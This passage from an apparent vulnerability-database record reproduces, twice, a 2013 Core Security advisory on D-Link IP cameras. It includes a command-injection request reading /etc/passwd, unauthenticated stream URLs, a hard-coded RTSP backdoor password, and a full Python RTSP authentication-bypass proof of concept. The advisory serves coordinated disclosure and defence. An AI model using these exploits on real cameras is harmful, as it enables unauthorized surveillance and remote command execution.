DCS-2102/2121 - v1.05_RU\r\n . DCS-2102/2121 - v1.06\r\n . DCS-2102/2121 - v1.06_FR\r\n . TESCO DCS-2102/2121 - v1.05_TESCO\r\n . DCS-3410 - v1.02\r\n . DCS-5230 - v1.02\r\n . DCS-5230L - v1.02\r\n . DCS-6410 - v1.00\r\n . DCS-7410 - v1.00\r\n . DCS-7510 - v1.00\r\n . WCS-1100 - v1.02\r\n\r\n[CVE-2013-1602]\r\n . ALL mentioned devices and firmware.\r\n\r\n5. *Vendor Information, Solutions and Workarounds*\r\n\r\nD-Link announces that all patches are ready and scheduled for posting on\r\ncorporate web site for all customers [2013-04-25]. Contact D-Link for\r\nfurther information.\r\n\r\n6. *Credits*\r\n\r\n[CVE-2013-1599], [CVE-2013-1600] and [CVE-2013-1601] were discovered and\r\nresearched by Francisco Falcon and Nahuel Riva from Core Exploit Writers\r\nTeam.\r\n\r\n[CVE-2013-1602] was discovered and researched by Martin Rocha from Core\r\nImpact Pro Team. The PoC was made by Martin Rocha with help of Juan\r\nCotta from Core QA Team.\r\n\r\n[CVE-2013-1603] was discovered and researched by Pablo Santamaria from\r\nCore Security Consulting Services.\r\n\r\nThe publication of this advisory was coordinated by Fernando Miranda\r\nfrom Core Advisories Team.\r\n\r\n7. *Technical Description / Proof of Concept Code*\r\n\r\n7.1. *OS Command Injection*\r\n\r\n[CVE-2013-1599] A security issue located in '/var/www/cgi-bin/rtpd.cgi'\r\nallows an unauthenticated remote attacker to execute arbitrary commands\r\nthrough the camera's web interface. The OS command injection is due to\r\nthis code in 'rtpd.cgi':\r\n\r\n/-----\r\necho "$QUERY_STRING" | grep -vq ' ' || die "query string cannot contain\r\nspaces."\r\n. $conf > /dev/null 2> /dev/null\r\neval "$(echo $QUERY_STRING | sed -e 's/&/ /g')"\r\n\r\n-----/\r\n The first line of this snippet basically ensures that there are no\r\nspaces in '$QUERY_STRING'. The last line uses 'sed' to replace\r\nampersands '&' with spaces, and then call to the function 'eval()',\r\nresulting in a typical command injection. For example, in order to execute:\r\n\r\n/-----\r\nuname -a;cat /etc/passwd\r\n-----/\r\n the following request can be sent to the camera web interface:\r\n\r\n/-----\r\nhttp://192.168.1.100/cgi-bin/rtpd.cgi?uname&-a;cat&/etc/passwd\r\n-----/\r\n\r\n\r\n7.2. *Authentication Bypass*\r\n\r\n[CVE-2013-1600] The live video stream can be accessed without\r\nauthentication by a remote attacker via the following request:\r\n\r\n/-----\r\nhttp://192.168.1.100/upnp/asf-mp4.asf\r\n-----/\r\n\r\n7.3. *ASCII Video Stream Information Leak*\r\n\r\n[CVE-2013-1601] An ASCII output (the image luminance) of the live video\r\nstream can be accessed by a remote unauthenticated attacker via:\r\n\r\n/-----\r\nhttp://192.168.1.100/md/lums.cgi\r\n-----/\r\n The following example is the output of a coffee pot video stream [2]:\r\n\r\n/-----\r\nO O O O O O O O O O O O O O O O O O O O O O O O O O o o o o o o o o o o o o\r\nO O O O O O O O O O O O O O O O O O O O o o o O O O o o o o o o o o o o o o\r\nO O O O O O O O O O O O O O O O O O . . . o O O o o o o o o o o o o o\r\nO O O O O O O O O O O O o o O O o . . o o o o o o o o o o o o o o\r\nO O O O O O O O O O O O o o o o . . . . . . o o o o o o o\r\nO O O O O O O O O O o . o O O o . o o o o o o\r\nO O O O O O O O O . . o o o o o o\r\nO O O O O O O O . . o o o o o o o o\r\nO O O O O O O . . o O O o . . o o o o o o o o o\r\nO O O O O O o . O O O O O O . o o o o o o o o o\r\nO O O O O O . O O O O O O O . . . . . o o o o o o o o o\r\nO O O O O O o O O O O O O O . . . o . . . o o o o o o o o\r\nO O O O O O o O O O O O O O . . . o o o . . . . . . . o o o o o o o o\r\nO O O O O O o O O O O O O o . o O O o O O . . . . . . . . o o o o o o o\r\nO O O O O O . o O O O O O O o . O O O o O O . . . . . . . . . o o o o o o\r\nO O O O O O . . O O O O O o . . O O o o O O o . . . . . . . . o o o o o o\r\nO O O O O O o O O O O O o . o O O o o O O o . . . . . . . . . o o o o o\r\nO O O O O O O O O O O O . . o O O o o O O o . . . . . . . . . o o o o o\r\nO O O O O O O . o O O O o . o o o O o o O O o . . . . . . . . . . o o o o\r\nO O O O O O O o . O O O o . o o o O o o O O o . . . . . . . . . . o o o o\r\nO O O O O O O O . O O O . . o o o O o o O O o . . . . . . . . . . o o o o\r\nO O O O O O O O O O O . . o o o O o o O O o . . . . . . . . . . . o o o\r\nO O O O O O O O o o O o o o o o O o o o O o . . . . . . . . . . . o o o\r\nO O O O O O O O O . O o o o o o O o . o O o . . . . . . . . . . . . o o\r\nO O O O O O O O O . O o . o o o o O . . o O o . . . . . . . . . . . . . o\r\nO O O O O O O O O o o . . o o o o o . . o O o . . . . . . . . . . . o\r\nO O O O O O O O O O . . . o o o . o . . o O o . . . . . .\r\no O O O O O O O O O . . o o o . o . . . O o . . . \r\no o O O O O O O O O o . o o o . o . . . O o . . \r\no o o O O O O O O O o . o o o . o . . . O o . \r\n\r\n-----/\r\n\r\n7.4. *RTSP Authentication Bypass*\r\n\r\n[CVE-2013-1602] This vulnerability is triggered because:\r\n\r\n 1. Authentication is only present in DESCRIBE requests but not in\r\nevery subsequent request.\r\n 2. When the RTSP session is being established, the authentication\r\nrequest of current session is ignored (a previously stored response is\r\nused instead).\r\nAs a result, the video stream can be accessed by an unauthenticated\r\nremote attacker.\r\n\r\n/-----\r\nimport sys\r\nfrom socket import *\r\nfrom threading import Thread\r\nimport time, re\r\n\r\nLOGGING = 1\r\n\r\ndef log(s):\r\n if LOGGING:\r\n print '(%s) %s' % (time.ctime(), s)\r\n\r\n\r\nclass UDPRequestHandler(Thread):\r\n def __init__(self, data_to_send, recv_addr, dst_addr):\r\n Thread.__init__(self)\r\n self.data_to_send = data_to_send\r\n self.recv_addr = recv_addr\r\n self.dst_addr = dst_addr\r\n \r\n def run(self):\r\n sender = socket(AF_INET, SOCK_DGRAM)\r\n sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\r\n sender.sendto(self.data_to_send, self.dst_addr)\r\n response = sender.recv(1024)\r\n sender.sendto(response, self.recv_addr)\r\n sender.close()\r\n\r\n\r\nclass UDPDispatcher(Thread):\r\n dispatchers = []\r\n \r\n def __has_dispatcher_for(self, port):\r\n return any([d.src_port == port for d in UDPDispatcher.dispatchers])\r\n \r\n def __init__(self, src_port, dst_addr):\r\n Thread.__init__(self)\r\n if self.__has_dispatcher_for(src_port):\r\n raise Exception('There is already a dispatcher for port %d'\r\n% src_port)\r\n self.src_port = src_port\r\n self.dst_addr = dst_addr\r\n UDPDispatcher.dispatchers.append(self)\r\n \r\n def run(self):\r\n listener = socket(AF_INET, SOCK_DGRAM)\r\n listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\r\n listener.bind(('', self.src_port))\r\n while 1:\r\n try:\r\n data, recv_addr = listener.recvfrom(1024)\r\n if not data: break\r\n UDPRequestHandler(data, recv_addr, self.dst_addr).start()\r\n except Exception as e:\r\n print e\r\n break \r\n listener.close()\r\n UDPDispatcher.dispatchers.remove( self )\r\n\r\n\r\nclass PipeThread(Thread):\r\n pipes = []\r\n def __init__(self, source, sink, process_data_callback=lambda x: x):\r\n Thread.__init__(self)\r\n self.source = source\r\n self.sink = sink\r\n self.process_data_callback = process_data_callback\r\n PipeThread.pipes.append(self)\r\n\r\n def run(self):\r\n while 1:\r\n try:\r\n data = self.source.recv(1024)\r\n data = self.process_data_callback(data)\r\n if not data: break\r\n self.sink.send( data )\r\n except Exception as e:\r\n log(e)\r\n break\r\n PipeThread.pipes.remove(self)\r\n\r\n\r\nclass TCPTunnel(Thread):\r\n def __init__(self, src_port, dst_addr, process_data_callback=lambda\r\nx: x):\r\n Thread.__init__(self)\r\n log('[*] Redirecting: localhost:%s -> %s:%s' % (src_port,\r\ndst_addr[0], dst_addr[1]))\r\n self.dst_addr = dst_addr\r\n self.process_data_callback = process_data_callback\r\n # Create TCP listener socket\r\n self.sock = socket(AF_INET, SOCK_STREAM)\r\n self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\r\n self.sock.bind(('', src_port))\r\n self.sock.listen(5)\r\n \r\n def run(self):\r\n while 1:\r\n # Wait until a new connection arises\r\n newsock, address = self.sock.accept()\r\n # Create forwarder socket\r\n fwd = socket(AF_INET, SOCK_STREAM)\r\n fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\r\n fwd.connect(self.dst_addr)\r\n # Pipe them!\r\n PipeThread(newsock, fwd, self.process_data_callback).start()\r\n PipeThread(fwd, newsock, self.process_data_callback).start()\r\n\r\n\r\nclass Camera():\r\n def __init__(self, address):\r\n self.address = address\r\n def get_describe_data(self):\r\n return ''\r\n\r\n\r\nclass DLink(Camera):\r\n # D-Link DCS-2102/1.06-5731\r\n def __init__(self, address):\r\n Camera.__init__(self, address)\r\n def get_describe_data(self):\r\n return\r\n'\x76\x3d\x30\x0d\x0a\x6f\x3d\x43\x56\x2d\x52\x54\x53\x50\x48\x61\x6e\x64\x6c\x65\x72\x20\x31\x31\x32\x33\x34\x31\x32\x20\x30\x20\x49\x4e\x20\x49\x50\x34\x20\x31\x39\x32\x2e\x31\x36\x38\x2e\x32\x2e\x31\x31\x0d\x0a\x73\x3d\x44\x43\x53\x2d\x32\x31\x30\x32\x0d\x0a\x63\x3d\x49\x4e\x20\x49\x50\x34\x20\x30\x2e\x30\x2e\x30\x2e\x30\x0d\x0a\x74\x3d\x30\x20\x30\x0d\x0a\x61\x3d\x63\x68\x61\x72\x73\x65\x74\x3a\x53\x68\x69\x66\x74\x5f\x4a\x49\x53\x0d\x0a\x61\x3d\x72\x61\x6e\x67\x65\x3a\x6e\x70\x74\x3d\x6e\x6f\x77\x2d\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x6f\x6c\x3a\x2a\x0d\x0a\x61\x3d\x65\x74\x61\x67\x3a\x31\x32\x33\x34\x35\x36\x37\x38\x39\x30\x0d\x0a\x6d\x3d\x76\x69\x64\x65\x6f\x20\x30\x20\x52\x54\x50\x2f\x41\x56\x50\x20\x39\x36\x0d\x0a\x62\x3d\x41\x53\x3a\x31\x38\x0d\x0a\x61\x3d\x72\x74\x70\x6d\x61\x70\x3a\x39\x36\x20\x4d\x50\x34\x56\x2d\x45\x53\x2f\x39\x30\x30\x30\x30\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x6f\x6c\x3a\x74\x72\x61\x63\x6b\x49\x44\x3d\x31\x0d\x0a\x61\x3d\x66\x6d\x74\x70\x3a\x39\x36\x20\x70\x72\x6f\x66\x69\x6c\x65\x2d\x6c\x65\x76\x65\x6c\x2d\x69\x64\x3d\x31\x3b\x63\x6f\x6e\x66\x69\x67\x3d\x30\x30\x30\x30\x30\x31\x42\x30\x30\x31\x30\x30\x30\x30\x30\x31\x42\x35\x30\x39\x30\x30\x30\x30\x30\x31\x30\x30\x30\x30\x30\x30\x30\x31\x32\x30\x30\x30\x43\x34\x38\x38\x42\x41\x39\x38\x35\x31\x34\x30\x34\x33\x43\x31\x34\x34\x33\x46\x3b\x64\x65\x63\x6f\x64\x65\x5f\x62\x75\x66\x3d\x37\x36\x38\x30\x30\x0d\x0a\x61\x3d\x73\x65\x6e\x64\x6f\x6e\x6c\x79\x0d\x0a\x6d\x3d\x61\x75\x64\x69\x6f\x20\x30\x20\x52\x54\x50\x2f\x41\x56\x50\x20\x30\x0d\x0a\x61\x3d\x72\x74\x70\x6d\x61\x70\x3a\x30\x20\x50\x43\x4d\x55\x2f\x38\x30\x30\x30\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x6f\x6c\x3a\x74\x72\x61\x63\x6b\x49\x44\x3d\x32\x0d\x0a\x61\x3d\x73\x65\x6e\x64\x6f\x6e\x6c\x79\x0d\x0a'\r\n\r\n\r\nclass RTSPAuthByPasser():\r\n DESCRIBE_REQ_HEADER = 'DESCRIBE rtsp://'\r\n UNAUTHORIZED_RESPONSE = 'RTSP/1.0 401 Unauthorized'\r\n SERVER_PORT_ARGUMENTS = 'server_port='\r\n DEFAULT_CSEQ = 1\r\n DEFAULT_SERVER_PORT_RANGE = '5556-5559'\r\n\r\n def __init__(self, local_port, camera):\r\n self.last_describe_req = ''\r\n self.camera = camera\r\n self.local_port = local_port\r\n \r\n def start(self):\r\n log('[!] Starting bypasser')\r\n TCPTunnel(self.local_port, self.camera.address,\r\nself.spoof_rtsp_conn).start()\r\n \r\n def spoof_rtsp_conn(self, data):\r\n if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data:\r\n self.last_describe_req = data\r\n elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and\r\nself.last_describe_req:\r\n log('[!] Unauthorized response received. Spoofing...')\r\n spoofed_describe = self.camera.get_describe_data()\r\n # Look for the request CSeq\r\n m = re.search('.*CSeq:\\s*(\\d+?)\r\n.*',\r\nself.last_describe_req)\r\n cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ\r\n # Create the response\r\n data = 'RTSP/1.0 200 OK\r\n'\r\n data+= 'CSeq: %s\r\n' % cseq\r\n data+= 'Content-Type: application/sdp\r\n'\r\n data+= 'Content-Length: %d\r\n' % len(spoofed_describe)\r\n data+= '\r\n'\r\n # Attach the spoofed describe\r\n data+= spoofed_describe \r\n elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data:\r\n # Look for the server RTP ports\r\n m = re.search('.*%s\\s*(.+?)[;|\r].*' %\r\nRTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data)\r\n ports = m.group(1) if m else\r\nRTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE\r\n # For each port in the range create a UDP dispatcher\r\n begin_port, end_port = map(int, ports.split('-'))\r\n for udp_port in xrange(begin_port, end_port + 1):\r\n try:\r\n UDPDispatcher(udp_port, (self.camera.address[0],\r\nudp_port)).start()\r\n except:\r\n pass \r\n return data\r\n\r\nif __name__ == '__main__':\r\n if len( sys.argv ) > 1:\r\n listener_port = camera_port = int(sys.argv[1])\r\n camera_ip = sys.argv[2]\r\n if len(sys.argv) == 4:\r\n camera_port = int(sys.argv[3])\r\n RTSPAuthByPasser(listener_port, DLink((camera_ip,\r\ncamera_port))).start()\r\n else:\r\n print 'usage: python %s [local_port] [camera_ip]\r\n[camera_rtsp_port]' \r\n-----/\r\n\r\n7.5. *RTSP Hard-Coded Credentials*\r\n\r\n[CVE-2013-1603] RTSP service contains hard-coded credentials that\r\neffectively serve as a backdoor, which allows remote attackers to access\r\nthe RTSP video stream.\r\n\r\n/-----\r\nusername: (any) \r\npassword: ?*\r\n-----/\r\n\r\nAs we can see in the following dump, the submitted password is compared\r\nwith the string ':?*' (the character ':' is used for concatenation of\r\n'username:password'). This code belongs to the binary 'rtspd':\r\n\r\n/-----\r\n.text:00011468 loc_11468 ; Load from Memory\r\n.text:00011468 LDR R3, [R11,#s2]\r\n.text:0001146C STR R3, [R11,#var_C0] ; Store to Memory\r\n.text:00011470 LDR R2, [R11,#var_C0] ; Load from Memory\r\n.text:00011474 LDR R3, [R11,#var_BC] ; Load from Memory\r\n.text:00011478 ADD R3, R2, R3 ; Rd = Op1 + Op2\r\n.text:0001147C SUB R3, R3, #3 ; Rd = Op1 - Op2\r\n.text:00011480 STR R3, [R11,#var_C0] ; Store to Memory\r\n.text:00011484 LDR R0, [R11,#var_C0] ; s1\r\n.text:00011488 LDR R1, =asc_1B060 ; ":?*" <-------\r\n.text:0001148C MOV R2, #3 ; n\r\n.text:00011490 BL strncmp ; Branch with Link\r\n.text:00011494 MOV R3, R0 ; Rd = Op2\r\n.text:00011498 CMP R3, #0 ; Set cond. codes on Op1 - Op2\r\n.text:0001149C BNE loc_114BC ; Branch\r\n-----/\r\n\r\n8. *Report Timeline*\r\n. 2013-03-19:\r\nCore Security Technologies notifies the D-Link team of the vulnerability.\r\n\r\n. 2013-03-20:\r\nD-Link team asks for a technical description of the vulnerability.\r\n\r\n. 2013-03-20:\r\nCore sends a draft advisory with technical details and set the estimated\r\npublication date of the advisory for May 14th, 2013.\r\n\r\n. 2013-03-20:\r\nVendor notifies that D-Link Corporation has an unpublished bounty\r\nprogram for security advisors. The bounty program requires both Core\r\nSecurity and D-Link to sign a memo of understanding (MoU).\r\n\r\n. 2013-03-25:\r\nCore notifies that receiving money from vendors may bias the view of the\r\nreport and rejects the bounty program.\r\n\r\n. 2013-03-29:\r\nVendor notifies that they hope to close the fix ASAP.\r\n\r\n. 2013-04-08:\r\nVendor sends the list of vulnerable devices and the associated firmware\r\nand notifies that they will release patches and release notes on the\r\nD-Link support forum first. Then, an official public release will be\r\nannounced (approx. 1 month from forum post to full release).\r\n\r\n. 2013-04-24:\r\nCore asks for a clarification regarding the D-Link release date and\r\nnotifies that releasing fixes to a privileged closed group and/or a\r\nclosed forum or list is unacceptable.\r\n\r\n. 2013-04-25:\r\nVendor notifies that the patches are ready and scheduled for posting on\r\nD-Link web site over the next few days.\r\n\r\n. 2013-04-26:\r\nCore notifies that the advisory is re-scheduled for Monday 29th.\r\n\r\n. 2013-04-29:\r\nAdvisory CORE-2013-0303 published.\r\n\r\n9. *References*\r\n\r\n[1] http://www.dlink.com/us/en/home-solutions/view/network-cameras.\r\n[2]\r\nhttp://corelabs.coresecurity.com/themes/sample_theme/images/coffee-pot.png.\r\n\r\n10. *About CoreLabs*\r\n\r\nCoreLabs, the research center of Core Security Technologies, is charged\r\nwith anticipating the future needs and requirements for information\r\nsecurity technologies. We conduct our research in several important\r\nareas of computer security including system vulnerabilities, cyber\r\nattack planning and simulation, source code auditing, and cryptography.\r\nOur results include problem formalization, identification of\r\nvulnerabilities, novel solutions and prototypes for new technologies.\r\nCoreLabs regularly publishes security advisories, technical papers,\r\nproject information and shared software tools for public use at:\r\nhttp://corelabs.coresecurity.com.\r\n\r\n11. *About Core Security Technologies*\r\n\r\nCore Security Technologies enables organizations to get ahead of threats\r\nwith security test and measurement solutions that continuously identify\r\nand demonstrate real-world exposures to their most critical assets. Our\r\ncustomers can gain real visibility into their security standing, real\r\nvalidation of their security controls, and real metrics to more\r\neffectively secure their organizations.\r\n\r\nCore Security's software solutions build on over a decade of trusted\r\nresearch and leading-edge threat expertise from the company's Security\r\nConsulting Services, CoreLabs and Engineering groups. Core Security\r\nTechnologies can be reached at +1 (617) 399-6980 or on the Web at:\r\nhttp://www.coresecurity.com.\r\n\r\n12. *Disclaimer*\r\n\r\nThe contents of this advisory are copyright (c) 2013 Core Security\r\nTechnologies and (c) 2013 CoreLabs, and are licensed under a Creative\r\nCommons Attribution Non-Commercial Share-Alike 3.0 (United States)\r\nLicense: http://creativecommons.org/licenses/by-nc-sa/3.0/us/\r\n\r\n13. *PGP/GPG Keys*\r\n\r\nThis advisory has been signed with the GPG key of Core Security\r\nTechnologies advisories team, which is available for download at\r\nhttp://www.coresecurity.com/files/attachments/core_security_advisories.asc.\r\n\r\n", "cvss3": {}, "published": "2013-05-04T00:00:00", "type": "securityvulns", "title": "CORE-2013-0303 - D-Link IP Cameras Multiple Vulnerabilities", "bulletinFamily": "software", "hackapp": {}, "cvss2": {}, "cvelist": ["CVE-2013-1603", "CVE-2013-1602", "CVE-2013-1599", "CVE-2013-1600", "CVE-2013-1601"], "modified": "2013-05-04T00:00:00", "id": "SECURITYVULNS:DOC:29306", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:29306", "sourceData": "", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-08-31T11:09:51", "description": "Code execution, authentication bypass, hardcoded credentials, information leakage.", "cvss3": {}, "published": "2013-05-04T00:00:00", "type": "securityvulns", "title": "D-Link IP cameras multiple security vulnerabilities", "bulletinFamily": "software", "hackapp": {}, "cvss2": {}, "cvelist": ["CVE-2013-1603", "CVE-2013-1602", "CVE-2013-1599", "CVE-2013-1600", "CVE-2013-1601"], "modified": "2013-05-04T00:00:00", "id": "SECURITYVULNS:VULN:13049", "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:13049", "sourceData": "", "cvss": {"score": 0.0, "vector": "NONE"}}], "seebug": [{"lastseen": "2017-11-19T16:48:06", "description": "Core Security - Corelabs Advisory\r\nhttp://corelabs.coresecurity.com/\r\n \r\nD-Link IP Cameras Multiple Vulnerabilities\r\n \r\n1. *Advisory Information*\r\n \r\nTitle: D-Link IP Cameras Multiple Vulnerabilities\r\nAdvisory ID: CORE-2013-0303\r\nAdvisory URL:\r\nhttp://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities\r\nDate published: 2013-04-29\r\nDate of last update: 2013-03-29\r\nVendors contacted: D-Link Corporation\r\nRelease mode: Coordinated release\r\n \r\n2. *Vulnerability Information*\r\n \r\nClass: OS command injection [CWE-78], Authentication issues [CWE-287],\r\nInformation leak through GET request [CWE-598], Authentication issues\r\n[CWE-287], Use of hard-coded credentials [CWE-798]\r\nImpact: Code execution, Security bypass\r\nRemotely Exploitable: Yes\r\nLocally Exploitable: No\r\nCVE Name: CVE-2013-1599, CVE-2013-1600, CVE-2013-1601, CVE-2013-1602,\r\nCVE-2013-1603\r\n \r\n3. *Vulnerability Description*\r\n \r\nMultiple vulnerabilities have been found in D-Link IP cameras [1] that\r\ncould allow an unauthenticated remote attacker:\r\n \r\n 1. [CVE-2013-1599] to execute arbitrary commands from the\r\nadministration web interface,\r\n 2. [CVE-2013-1600] to access the video stream via HTTP,\r\n 3. [CVE-2013-1601] to access the ASCII video stream via image luminance,\r\n 4. [CVE-2013-1602] to access the video stream via RTSP,\r\n 5. [CVE-2013-1603] to bypass RTSP authentication using hard-coded\r\ncredentials.\r\n \r\n4. *Vulnerable Packages*\r\n \r\nThe following is the list of affected devices and the associated\r\nfirmware (confirmed by D-Link). Other SKUs are probably affected too,\r\nbut they were not checked.\r\n \r\n[CVE-2013-1599]\r\n . DCS-3411/3430 - firmware v1.02\r\n . DCS-5605/5635 - v1.01\r\n . DCS-1100L/1130L - v1.04\r\n . DCS-1100/1130 - v1.03\r\n . DCS-1100/1130 - v1.04_US\r\n . DCS-2102/2121 - v1.05_RU\r\n . DCS-3410 - v1.02\r\n . DCS-5230 - v1.02\r\n . DCS-5230L - v1.02\r\n . DCS-6410 - v1.00\r\n . DCS-7410 - v1.00\r\n . DCS-7510 - v1.00\r\n . WCS-1100 - v1.02\r\n \r\n[CVE-2013-1600]\r\n . DCS-2102/2121 - v1.05_RU\r\n . DCS-2102/2121 - v1.06\r\n . DCS-2102/2121 - v1.06_FR\r\n . TESCO DCS-2102/2121 - v1.05_TESCO\r\n \r\n[CVE-2013-1601] and [CVE-2013-1603]\r\n . DCS-3411/3430 - v1.02\r\n . DCS-5605/5635 - v1.01\r\n . DCS-1100L/1130L - v1.04\r\n . DCS-1100/1130 - v1.03\r\n . DCS-1100/1130 - v1.04_US\r\n . DCS-2102/2121 - v1.05_RU\r\n . DCS-2102/2121 - v1.06\r\n . DCS-2102/2121 - v1.06_FR\r\n . TESCO DCS-2102/2121 - v1.05_TESCO\r\n . DCS-3410 - v1.02\r\n . DCS-5230 - v1.02\r\n . DCS-5230L - v1.02\r\n . DCS-6410 - v1.00\r\n . DCS-7410 - v1.00\r\n . DCS-7510 - v1.00\r\n . WCS-1100 - v1.02\r\n \r\n[CVE-2013-1602]\r\n . ALL mentioned devices and firmware.\r\n \r\n5. *Vendor Information, Solutions and Workarounds*\r\n \r\nD-Link announces that all patches are ready and scheduled for posting on\r\ncorporate web site for all customers [2013-04-25]. Contact D-Link for\r\nfurther information.\r\n \r\n6. *Credits*\r\n \r\n[CVE-2013-1599], [CVE-2013-1600] and [CVE-2013-1601] were discovered and\r\nresearched by Francisco Falcon and Nahuel Riva from Core Exploit Writers\r\nTeam.\r\n \r\n[CVE-2013-1602] was discovered and researched by Martin Rocha from Core\r\nImpact Pro Team. The PoC was made by Martin Rocha with help of Juan\r\nCotta from Core QA Team.\r\n \r\n[CVE-2013-1603] was discovered and researched by Pablo Santamaria from\r\nCore Security Consulting Services.\r\n \r\nThe publication of this advisory was coordinated by Fernando Miranda\r\nfrom Core Advisories Team.\r\n \r\n7. *Technical Description / Proof of Concept Code*\r\n \r\n7.1. *OS Command Injection*\r\n \r\n[CVE-2013-1599] A security issue located in '/var/www/cgi-bin/rtpd.cgi'\r\nallows an unauthenticated remote attacker to execute arbitrary commands\r\nthrough the camera's web interface. The OS command injection is due to\r\nthis code in 'rtpd.cgi':\r\n \r\n```\r\n\r\necho \"$QUERY_STRING\" | grep -vq ' ' || die \"query string cannot contain\r\nspaces.\"\r\n. $conf > /dev/null 2> /dev/null\r\neval \"$(echo $QUERY_STRING | sed -e 's/&/ /g')\"\r\n \r\n```\r\n\r\n The first line of this snippet basically ensures that there are no\r\nspaces in '$QUERY_STRING'. The last line uses 'sed' to replace\r\nampersands '&' with spaces, and then call to the function 'eval()',\r\nresulting in a typical command injection. For example, in order to execute:\r\n \r\n```\r\n\r\nuname -a;cat /etc/passwd\r\n\r\n```\r\n\r\n the following request can be sent to the camera web interface:\r\n \r\n\r\n```\r\n\r\nhttp://192.168.1.100/cgi-bin/rtpd.cgi?uname&-a;cat&/etc/passwd\r\n\r\n```\r\n \r\n \r\n7.2. *Authentication Bypass*\r\n \r\n[CVE-2013-1600] The live video stream can be accessed without\r\nauthentication by a remote attacker via the following request:\r\n \r\n\r\nhttp://192.168.1.100/upnp/asf-mp4.asf\r\n\r\n \r\n7.3. *ASCII Video Stream Information Leak*\r\n \r\n[CVE-2013-1601] An ASCII output (the image luminance) of the live video\r\nstream can be accessed by a remote unauthenticated attacker via:\r\n \r\n\r\nhttp://192.168.1.100/md/lums.cgi\r\n\r\n The following example is the output of a coffee pot video stream [2]:\r\n \r\n```\r\nO O O O O O O O O O O O O O O O O O O O O O O O O O o o o o o o o o o o o o\r\nO O O O O O O O O O O O O O O O O O O O o o o O O O o o o o o o o o o o o o\r\nO O O O O O O O O O O O O O O O O O . . . o O O o o o o o o o o o o o\r\nO O O O O O O O O O O O o o O O o . . o o o o o o o o o o o o o o\r\nO O O O O O O O O O O O o o o o . . . . . . o o o o o o o\r\nO O O O O O O O O O o . o O O o . o o o o o o\r\nO O O O O O O O O . . o o o o o o\r\nO O O O O O O O . . o o o o o o o o\r\nO O O O O O O . . o O O o . . o o o o o o o o o\r\nO O O O O O o . O O O O O O . o o o o o o o o o\r\nO O O O O O . O O O O O O O . . . . . o o o o o o o o o\r\nO O O O O O o O O O O O O O . . . o . . . o o o o o o o o\r\nO O O O O O o O O O O O O O . . . o o o . . . . . . . o o o o o o o o\r\nO O O O O O o O O O O O O o . o O O o O O . . . . . . . . o o o o o o o\r\nO O O O O O . o O O O O O O o . O O O o O O . . . . . . . . . o o o o o o\r\nO O O O O O . . O O O O O o . . O O o o O O o . . . . . . . . o o o o o o\r\nO O O O O O o O O O O O o . o O O o o O O o . . . . . . . . . o o o o o\r\nO O O O O O O O O O O O . . o O O o o O O o . . . . . . . . . o o o o o\r\nO O O O O O O . o O O O o . o o o O o o O O o . . . . . . . . . . o o o o\r\nO O O O O O O o . O O O o . o o o O o o O O o . . . . . . . . . . o o o o\r\nO O O O O O O O . O O O . . o o o O o o O O o . . . . . . . . . . o o o o\r\nO O O O O O O O O O O . . o o o O o o O O o . . . . . . . . . . . o o o\r\nO O O O O O O O o o O o o o o o O o o o O o . . . . . . . . . . . o o o\r\nO O O O O O O O O . O o o o o o O o . o O o . . . . . . . . . . . . o o\r\nO O O O O O O O O . O o . o o o o O . . o O o . . . . . . . . . . . . . o\r\nO O O O O O O O O o o . . o o o o o . . o O o . . . . . . . . . . . o\r\nO O O O O O O O O O . . . o o o . o . . o O o . . . . . .\r\no O O O O O O O O O . . o o o . o . . . O o . . . \r\no o O O O O O O O O o . o o o . o . . . O o . . \r\no o o O O O O O O O o . o o o . o . . . O o . \r\n \r\n```\r\n \r\n7.4. *RTSP Authentication Bypass*\r\n \r\n[CVE-2013-1602] This vulnerability is triggered because:\r\n \r\n 1. Authentication is only present in DESCRIBE requests but not in\r\nevery subsequent request.\r\n 2. When the RTSP session is being established, the authentication\r\nrequest of current session is ignored (a previously stored response is\r\nused instead).\r\nAs a result, the video stream can be accessed by an unauthenticated\r\nremote attacker.\r\n \r\n```\r\n\r\nimport sys\r\nfrom socket import *\r\nfrom threading import Thread\r\nimport time, re\r\n \r\nLOGGING = 1\r\n \r\ndef log(s):\r\n if LOGGING:\r\n print '(%s) %s' % (time.ctime(), s)\r\n \r\n \r\nclass UDPRequestHandler(Thread):\r\n def __init__(self, data_to_send, recv_addr, dst_addr):\r\n Thread.__init__(self)\r\n self.data_to_send = data_to_send\r\n self.recv_addr = recv_addr\r\n self.dst_addr = dst_addr\r\n \r\n def run(self):\r\n sender = socket(AF_INET, SOCK_DGRAM)\r\n sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\r\n sender.sendto(self.data_to_send, self.dst_addr)\r\n response = sender.recv(1024)\r\n sender.sendto(response, self.recv_addr)\r\n sender.close()\r\n \r\n \r\nclass UDPDispatcher(Thread):\r\n dispatchers = []\r\n \r\n def __has_dispatcher_for(self, port):\r\n return any([d.src_port == port for d in UDPDispatcher.dispatchers])\r\n \r\n def __init__(self, src_port, dst_addr):\r\n Thread.__init__(self)\r\n if self.__has_dispatcher_for(src_port):\r\n raise Exception('There is already a dispatcher for port %d'\r\n% src_port)\r\n self.src_port = src_port\r\n self.dst_addr = dst_addr\r\n UDPDispatcher.dispatchers.append(self)\r\n \r\n def run(self):\r\n listener = socket(AF_INET, SOCK_DGRAM)\r\n listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\r\n listener.bind(('', self.src_port))\r\n while 1:\r\n try:\r\n data, recv_addr = listener.recvfrom(1024)\r\n if not data: break\r\n 